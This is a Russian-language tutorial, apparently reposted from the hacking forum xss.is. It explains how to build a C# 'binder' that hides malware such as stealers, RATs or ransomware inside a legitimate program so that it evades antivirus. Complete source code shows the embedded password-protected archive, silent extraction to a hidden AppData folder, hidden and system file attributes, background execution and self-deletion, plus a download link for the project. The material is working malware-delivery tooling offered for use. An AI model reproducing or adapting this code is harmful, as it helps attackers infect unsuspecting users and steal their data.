Как склеить две EXE программы в одну посредством C# (.Net)? Как создают вирусы на windows?

Мы добавим в консольный проект 2 exe, а именно в ресусры, это может быть 1 полезная прога и 2 ваша малварь, это не суть, суть в том что бы склеить 2 любых exe и запустить их из 1 exe при том не палясь перед АВ.

Нам понадобится:



Visual Studio 2019 C# Скачать

Архиватор 7zip Скачать

Запускаем Visual Studio 2019 и создаем консольный проект:



Выбираем платформу .Net Framework 4.5, имя проекта любое, у меня будет: ViJoy

Теперь установим нужные NuGet пакеты, жмем в верхнем меню кнопку “Проект” и далее “Управление NuGet пакетами”

1. Жмем вкладку “Обзор” и вводим в строку поиска: SharpZipLib > “Установить”

2. Там же в строке поиска вводим “Costura.Fody” > “Установить”

3. Справа жмем по Program.cs

Начнем писать код.

Удаляем все в редакторе и вставляем мой код, в коде смотрите комментарии что можно изменить, название файлов, архивов, все что я комментил все можно изменить на ваши имена, поехали:

Учтите если вы назвали проект не как уменя: ViJoy

То после вставки кода переименуйте: namespace “ViJoy” < на свой

using ICSharpCode.SharpZipLib.Core;
using ICSharpCode.SharpZipLib.Zip;
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Text;
using System.Threading;


namespace ViJoy
{
    class Program
    {
        static void Main(string[] args)
        {

            string dir = Environment.GetEnvironmentVariable("AppData") + "\\Templers"; // Путь к папке где будет храниться файл
            if (!Directory.Exists(dir))
                File.WriteAllBytes("joy.y", Properties.Resources.joy); // создаем файлы  из бинарного массива **** в Resources (если он есть, то будет переопределен) т.е распаковываем 2 ваших программы exe
            string password = ("123"); // Пароль от архива с вашими двумя exe файлами
            ExtractZipFile("joy.y", password, dir + "\\"); //Вводим пароль и распакуем архив в системную директорию Templers, она в AppData, см код выше.

            //Создаем поток и работаем с exe программой 1 которую распаковали:
            new Thread(() =>
            {



                try
                {

                    File.SetAttributes(dir + "\\exe1.exe", FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя
                    Process proc = Process.Start(dir + "\\exe1.exe"); //Запускаем exe малвари
                    proc.WaitForExit(); //Ждем завершения программы если надо
                    File.Delete(dir + "\\exe1.exe"); //Удаляем exe малвари если надо
                }
                catch (Exception)
                {
                }

            }).Start();




            //Создаем еще 1 поток и работаем с exe программой 2 которую распаковали:
            new Thread(() =>
            {

                try
                {

                    File.SetAttributes(dir + "\\exe2.exe", FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя
                    Process proc = Process.Start(dir + "\\exe2.exe"); //Запускаем exe малвари
                    proc.WaitForExit(); //Ждем завершения программы если надо
                    File.Delete(dir + "\\exe2.exe"); //Удаляем exe малвари если надо
                }
                catch (Exception)
                {
                }

            }).Start();
        }


        //Далее фукнкиция разархиватора zip
        private static void ExtractZipFile(string archiveFilenameIn, string password, string outFolder)
        {

            {
                ZipFile zf = null;
                try
                {
                    FileStream fs = File.OpenRead(archiveFilenameIn);
                    zf = new ZipFile(fs);
                    if (!string.IsNullOrEmpty(password))
                    {
                        zf.Password = password;
                    }
                    foreach (ZipEntry zipEntry in zf)
                    {
                        if (!zipEntry.IsFile)
                        {
                            continue;
                        }
                        string entryFileName = zipEntry.Name;


                        byte[] buffer = new byte[4096];
                        Stream zipStream = zf.GetInputStream(zipEntry);
                        string fullZipToPath = Path.Combine(outFolder, entryFileName);
                        string directoryName = Path.GetDirectoryName(fullZipToPath);
                        if (directoryName.Length > 0)
                            Directory.CreateDirectory(directoryName);


                        using (FileStream streamWriter = File.Create(fullZipToPath))
                        {
                            StreamUtils.Copy(zipStream, streamWriter, buffer);
                        }
                    }
                }
                catch (Exception ex)
                {
                    throw ex;
                }
                finally
                {
                    if (zf != null)
                    {
                        zf.IsStreamOwner = true;
                        zf.Close();
                    }
                }


            }

        }
    }
}

 


Для примера я буду использовать 2 программы:

  • putty.exe – в коде она как – exe1.exe
  • puttygen.exe – в коде она как – exe2.exe

Их мы и будем склеивать, вы можете представить это так:

  • exe1.exe – Это нормальная прога с которой надо клеить вашу малварь
  • exe2.exe – Это уже сама ваша малварь, стиллер, рат, криптолокер и т.д

Теперь надо 2 эти программы добавить в наш exe билд который мы написали.

Для начала будем использовать 7zip и запакуем их в 1 архив под паролем.

Выделяем эти 2 файла, жмем правой кнопкой мыши и жмем: 7-zip > добавить к архиву

  • Уровень сжатия – ультра
  • Формат архива – zip

Пароль любой, ваш, только в коде выше его не забудьте поменять в строке примерно 21й.

В моем случаи пароль будет 123

ahiv.zip, его давайте переименуем в другой формат и название:

Теперь этот архив надо добавить в наш exe который мы кодили в Visual Studio 2019 (Далее буду назвать это VS).

Открываем снова VS:

1. Жмем по проекту правой кнопкой мыши:

Свойства.

  • Справа будет меню, ищем кнопку “Ресурсы” и жмем.
  • Вверху будет кнопка: добавить ресурс, и выбираем наш архив: joy.cfg
  • Жмем стрелку рядом с названием: “Добавит ресурс”, а не слово добавить ресурс, т.к тогда окно выбора файла не откроется.

Уже готово! Но. Теперь давайте скроем окно консоли. Опять правой кнопкой про проекту, скрин выше > свойства > слева в меню: Приложение > Тип выходных данных выбираем: приложение Windows

Теперь нам надо все собрать/скомпилить, ура!

Выбираем в окне VS вместо Debug > Release

Теперь соберем наши exe и весь проект в 1 exe!

Жмем в верхнем меню “СБОРКА” > “Собрать решение”

Готово!

Что бы найти наш exe файл снова жмем по проекту правой кнопкой мыши > “открыть папку в проводнике”

Идем в папку bin > Release и видим наш exe файл. Запускаем. и Оп:

Вы так же можете добавить по этой технологии сколько угодно exe! хоть 100шт и запускать все разом, данный код не ограничен только двумя exe файлами.

Исходники проекта который мы с вами разобрали в статье можете скачать тут

Скачать: https://anonfiles.com/4aLcC0A3ne/ViJoy_zip

Пароль: xss.is

 

Источник: https://xss.is

RuCoreNET - лучшее для вас!


Поделись статьей с друзьями


367 просмотров


0 0 vote
Рейтинг статьи
Подписаться
Уведомление о
guest
0 Комментарий
Inline Feedbacks
View all comments


Do NOT follow this link or you will be banned from the site!
0
Would love your thoughts, please comment.x
()
x

Сообщить об опечатке

Текст, который будет отправлен нашим редакторам: